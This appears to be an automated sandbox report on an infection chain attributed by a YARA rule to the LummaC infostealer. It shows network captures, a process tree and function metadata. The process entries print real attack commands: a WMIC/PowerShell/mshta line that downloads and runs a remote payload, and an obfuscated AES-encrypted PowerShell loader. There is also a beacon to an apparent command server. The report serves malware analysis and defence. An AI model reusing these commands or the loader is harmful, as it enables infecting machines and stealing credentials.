2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 47 45 00 56 e8 27 b7 02 00 59 59 83 7d f8 00 74 08 ff 75 f8 e8 f6 ee fe ff 5f 8b c6 5e 8b e5 5d c2 10 00 55 8b ec 51 83 65 fc 00 8d 45 fc 56 57 8b 7d 08 ff 37 68 30 40 45 00 50 e8 cc d3 fe ff 8b f0 83 c4 0c 85 f6 79 12 68 9c 46 45 00 56 e8 dc b6 02 00 59 59 e9 8b 01 00 00 53 be ff ff 00 80 33 db 81 fb 08 07 00 00 73 53 6a 00 6a 00 6a 03 6a 00 6a 00 68 00 00 00 c0 ff 75 fc ff 15 e4 b0 44 00 89 47 10 83 f8 ff 75 2c ff 15 f4 b0 44 00 8b f0 85 f6 7e 09 0f b7 f6 81 ce 00 00 07 80 81 fe 02 00 07 80 75 05 be b4 05 07 80 6a 64 ff 15 14 b1 44 00 eb 02 33 f6 43 85 f6 78 a5 85 f6 79 1d 56 68 88 02 00 00 68 14 41 45 00 e8 48 ec fe ff ff 75 fc 68 c4 46 45 00 e9 fd 00 00 00 8d 5f 08 53 ff 77 04 ff 77 10 e8 e7 fa ff ff 8b f0 85 f6 79 0d ff 75 fc 68 e4 46 45 00 e9 db 00 Data Ascii: GEV'YY}tu_^]UQeEVW}7h0@EPyhFEVYYS3sSjjjjjhuDGu,D~ujdD3CxyVhhAEHuhFE_SwwyuhFE
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 00 57 56 68 28 70 45 00 68 60 60 45 00 e8 57 cd 02 00 8b d8 85 db 79 12 68 44 70 45 00 53 e8 0d 77 02 00 59 59 e9 13 01 00 00 39 35 a0 aa 46 00 74 13 57 e8 cd 9f fe ff 8b d8 85 db 79 21 68 78 70 45 00 eb d8 56 ff 35 9c aa 46 00 57 e8 3c 96 fe ff 8b d8 85 db 79 07 68 d0 70 45 00 eb be a1 a0 aa 46 00 39 75 0c 75 05 a1 9c aa 46 00 56 8b 75 10 50 56 e8 15 96 fe ff 8b d8 85 db 79 0a 68 9c 64 45 00 e9 a6 00 00 00 8d 45 f8 50 ff 36 ff 35 9c aa 46 00 e8 43 a1 fe ff 8b d8 85 db 79 0a 68 58 71 45 00 e9 73 ff ff ff 33 db 83 7d f8 02 0f 95 c3 e9 85 00 00 00 a1 98 aa 46 00 85 c0 75 59 8d 45 fc 50 6a 1c e8 e2 a8 fe ff 8b d8 85 db 79 0a 68 a8 64 45 00 e9 ca fe ff ff bf 98 aa 46 00 57 68 08 61 45 00 ff 75 fc e8 62 a1 fe ff 8b d8 85 db 79 0a 68 a8 64 45 00 e9 cf fe ff ff Data Ascii: WVh(pEh``EWyhDpESwYY95FtWy!hxpEV5FW<yhpEF9uuFVuPVyhdEEP65FCyhXqEs3}FuYEPjyhdEFWhaEubyhdE
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: ff 33 c0 89 45 08 8b 45 f8 85 c0 74 32 8b d3 89 5d f0 52 8d 45 fc 50 ff 77 04 ff 77 0c e8 96 2b 02 00 8b f0 85 f6 78 70 8b 4d 08 8b 55 f0 41 8b 45 f8 83 c2 04 89 4d 08 89 55 f0 3b c8 72 d3 89 45 e8 89 5d ec 8b 45 0c 8d 4d e0 ff 70 04 51 ff 10 8b 4d 10 89 01 83 7d f4 00 74 08 ff 75 f4 e8 cb 8a 02 00 85 db 74 25 8b 45 f8 85 c0 74 18 33 ff 83 3c bb 00 74 0b ff 34 bb e8 b0 8a 02 00 8b 45 f8 47 3b f8 72 ea 53 e8 82 6e fe ff 5f 8b c6 5e 5b 8b e5 5d c2 0c 00 8b 45 08 50 68 30 8c 45 00 56 e8 89 36 02 00 83 c4 0c eb aa 8d 45 e8 c7 45 e0 01 00 00 00 50 8d 45 fc 50 ff 77 04 ff 77 0c e8 97 2a 02 00 8b f0 85 f6 79 0a 68 b4 8b 45 00 e9 8e fe ff ff 8d 45 f4 50 8d 45 fc 50 ff 77 04 ff 77 0c e8 cf 2a 02 00 8b f0 85 f6 79 0a 68 d0 8b 45 00 e9 6b fe ff ff 8b 45 f4 89 45 ec Data Ascii: 3EEt2]REPww+xpMUAEMU;rE]EMpQM}tut%Et3<t4EG;rSn_^[]EPh0EV6EEPEPwwyhEEPEPwwyhEkEE
2024-12-16 08:14:20 UTC	16384	IN	Data Raw: 51 53 ff 75 08 8d 47 1c 50 e8 77 09 00 00 85 c0 74 59 ff 75 10 8d 45 f4 50 ff 75 fc 53 ff 75 08 ff 15 00 b2 44 00 85 c0 75 41 ff 15 f4 b0 44 00 8b f0 85 f6 7e 0b 0f b7 f6 81 ce 00 00 07 80 85 f6 78 05 be 05 40 00 80 56 68 45 03 00 00 68 a8 a9 45 00 e8 c2 2c fe ff ff 75 0c 68 50 ae 45 00 56 e8 ca f6 01 00 83 c4 0c eb 06 8b 47 08 29 45 f4 89 77 30 85 f6 5f 5e 5b 79 05 83 c8 ff eb 03 8b 45 f4 8b e5 5d c3 55 8b ec 51 8b 0d c0 aa 46 00 64 a1 2c 00 00 00 53 57 33 ff 8b 04 88 89 7d fc 8b 98 04 00 00 00 8b 43 2c 48 83 e8 01 74 38 83 e8 01 74 0c bf 9f 13 07 80 68 1c ae 45 00 eb 72 8b 43 44 2b 43 48 56 8b 75 10 56 ff 75 0c 50 8b 43 40 03 43 48 50 e8 09 30 fe ff 83 c4 10 01 73 48 89 75 fc 5e eb 53 57 8d 45 fc 50 ff 75 10 ff 75 0c ff 73 3c ff 15 3c b1 44 00 85 c0 75 Data Ascii: QSuGPwtYuEPuSuDuAD~x@VhEhE,uhPEVG)Ew0_^[yE]UQFd,SW3}C,Ht8thErCD+CHVuVuPC@CHP0sHu^SWEPuus<<Du

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49815	104.21.59.81	443	6160	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 08:15:26 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: passworoggre.click
2024-12-16 08:15:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 08:15:27 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 08:15:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=odou6v3gaa3ac3atot08475eap; expires=Fri, 11-Apr-2025 02:02:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4dHsmxcOsX8BiJ74ripmZWqioZF3ms3ugiOvaNvGFSi8q9PmF1sMMEN%2FlZB9swwj6srFy9EMM7E%2FnhNTpmpiDiN1jndq4RDeDxK3dAchw1x5GdYLJ3tzPo336I9a9JFCdrYsYIQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d39c13aeb0f3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1459&min_rtt=1444&rtt_var=571&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1867007&cwnd=211&unsent_bytes=0&cid=91cf1b7b7cf1fdaa&ts=1079&x=0"
2024-12-16 08:15:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 08:15:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:14:05
Start date:	16/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W\S2\mhte https://naubeautylus.ch/Headerfrontend"
Imagebase:	0x7ff7b9f60000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:14:05
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:14:05
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -w 1 . \W\S2\mhte https://naubeautylus.ch/Headerfrontend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:14:05
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:14:08
Start date:	16/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend
Imagebase:	0x7ff735b20000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:14:11
Start date:	16/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:14:12
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:14:12
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:14:16
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:14:17
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:14:17
Start date:	16/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1636,i,12666906857534162029,3532720811796512563,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:14:24
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\IMAKBWPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\IMAKBWPY.exe"
Imagebase:	0x9a0000
File size:	3'082'476 bytes
MD5 hash:	EAE347B707607585B09FF0515E84087C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:14:25
Start date:	16/12/2024
Path:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe" -burn.clean.room="C:\Users\user\AppData\Roaming\IMAKBWPY.exe" -burn.filehandle.attached=520 -burn.filehandle.self=516
Imagebase:	0x7ff72bec0000
File size:	2'984'244 bytes
MD5 hash:	E9D35A53128839CFBB1A329A23BB430B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:14:25
Start date:	16/12/2024
Path:	C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe"
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:14:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe
Imagebase:	0x400000
File size:	29'152 bytes
MD5 hash:	B6F6C3C38568EE26F1AC70411A822405
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:15:00
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:15:00
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:15:19
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x830000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 000001D04EAE0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2218063132.000001D04EAE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D04EAE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d04eae0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 78da1038e1bf761c219dfceb3ae6950d48e64395595ce0140583296d17b491ca
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 499004544DF40755D41D11D50CC57DD50C073CC350FD44CC14517D0544D54D17F75153

Function 000001D04EAE0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2218063132.000001D04EAE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D04EAE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d04eae0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 78da1038e1bf761c219dfceb3ae6950d48e64395595ce0140583296d17b491ca
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 499004544DF40755D41D11D50CC57DD50C073CC350FD44CC14517D0544D54D17F75153

Function 000001D04EAE0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2218063132.000001D04EAE0000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D04EAE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d04eae0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 78da1038e1bf761c219dfceb3ae6950d48e64395595ce0140583296d17b491ca
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 499004544DF40755D41D11D50CC57DD50C073CC350FD44CC14517D0544D54D17F75153

Analysis Process: powershell.exePID: 1344, Parent PID: 6960COMMON

Executed Functions

Function 00007FFD9AA745AC Relevance: .7, Instructions: 655COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2210902328.00007FFD9AA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aa70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d6f634fed253af1a4109030bda2d982db610e345c0b80a100bcbc1ecbf667e3
Instruction ID: 3f0b76978c4aa389233fe5600c96f0ad044f30f8a98565591d026fa7d1cb1c0b
Opcode Fuzzy Hash: 2d6f634fed253af1a4109030bda2d982db610e345c0b80a100bcbc1ecbf667e3
Instruction Fuzzy Hash: 2B12F523E0EBC60FE7AA97B808756BA7FD1DF52214B1901FBD099C70E3DD1968068352

Function 00007FFD9AA738E4 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2210902328.00007FFD9AA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aa70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d40893ae4f5f2825889d491dccc7cfeb269e384e33e11a626341f2eab9b2f480
Instruction ID: 6bc535e7aa8bd3db884dc56338343c2ad9cf16ccc95f6a5860fc9a5462aa7745
Opcode Fuzzy Hash: d40893ae4f5f2825889d491dccc7cfeb269e384e33e11a626341f2eab9b2f480
Instruction Fuzzy Hash: 1C412053F0EA8A1FE7A8A7A818B51B577D1EF99214B0A00FBD05DC71D7EC1AAC068351

Function 00007FFD9AA7472A Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2210902328.00007FFD9AA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aa70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda1db4df5535105b042c945c733ec0f902b925d8c4e9c121eff1a5e1f8378ea
Instruction ID: 50200073964a255eed55ea0c2d0a4410a39797c0fb4acf4790e69f7ad6945595
Opcode Fuzzy Hash: cda1db4df5535105b042c945c733ec0f902b925d8c4e9c121eff1a5e1f8378ea
Instruction Fuzzy Hash: C741B253F0EACB0BF7BD97A808B527E76C1EF92618B5801FAD56DC71E2DD18A8064201

Function 00007FFD9A9A43C5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2209867522.00007FFD9A9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9A9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9a9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 8dd67335b8d5a95cd6043bc74000fbb3d6d24ba5291f8daba1a93c10b6a997a0
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 1101A77121CB0C8FD748EF0CE451AA5B3E0FB85324F10056EE58AC3695DA32E882CB42

Function 00007FFD9AA70758 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2210902328.00007FFD9AA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9AA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9aa70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66d0dae08770d495fc6cc9d7d842ac88e0243930e9cb8bef4d03e0255b1bad1f
Instruction ID: c35f65bce3ae6ed85805d1c85c7d7271c2b77623b2eac6257783b9e4646fe136
Opcode Fuzzy Hash: 66d0dae08770d495fc6cc9d7d842ac88e0243930e9cb8bef4d03e0255b1bad1f
Instruction Fuzzy Hash: 50E09223F0EC592FEBB5A6DC28681F67681DF5426674801F6E81DD31C5DD049C114685

Analysis Process: IMAKBWPY.exePID: 5332, Parent PID: 1344COMMON

Executed Functions

Function 009A3CC4 Relevance: 45.8, APIs: 23, Strings: 3, Instructions: 320
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,00000001,00000000,?), ref: 009A3D40
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3D53
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000001,00000000,?), ref: 009A3D9E
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3DA8
GetTempPathW.KERNEL32(00000104,?,?,?,?,00000001,00000000,?), ref: 009A3DF6
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3E00
FindFirstFileW.KERNELBASE(?,?,?,*.*,?,?,?,?,00000001,00000000,?), ref: 009A3E53
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3E64
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,?,00000001,00000000,?), ref: 009A3F3E
DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,00000001,00000000,?), ref: 009A3F52
GetTempFileNameW.KERNEL32(?,DEL,00000000,?,?,?,?,00000001,00000000,?), ref: 009A3F79
MoveFileExW.KERNEL32(?,?,00000001,?,?,?,00000001,00000000,?), ref: 009A3F9C
MoveFileExW.KERNEL32(?,00000000,00000004,?,?,?,00000001,00000000,?), ref: 009A3FB5
FindNextFileW.KERNELBASE(000000FF,?,?,?,?,?,?,?,00000001,00000000,?), ref: 009A3FC5
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A3FDA
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A4009
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A402B
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A404D
RemoveDirectoryW.KERNELBASE(?,?,?,?,00000001,00000000,?), ref: 009A4064
GetLastError.KERNEL32(?,?,?,00000001,00000000,?), ref: 009A406E
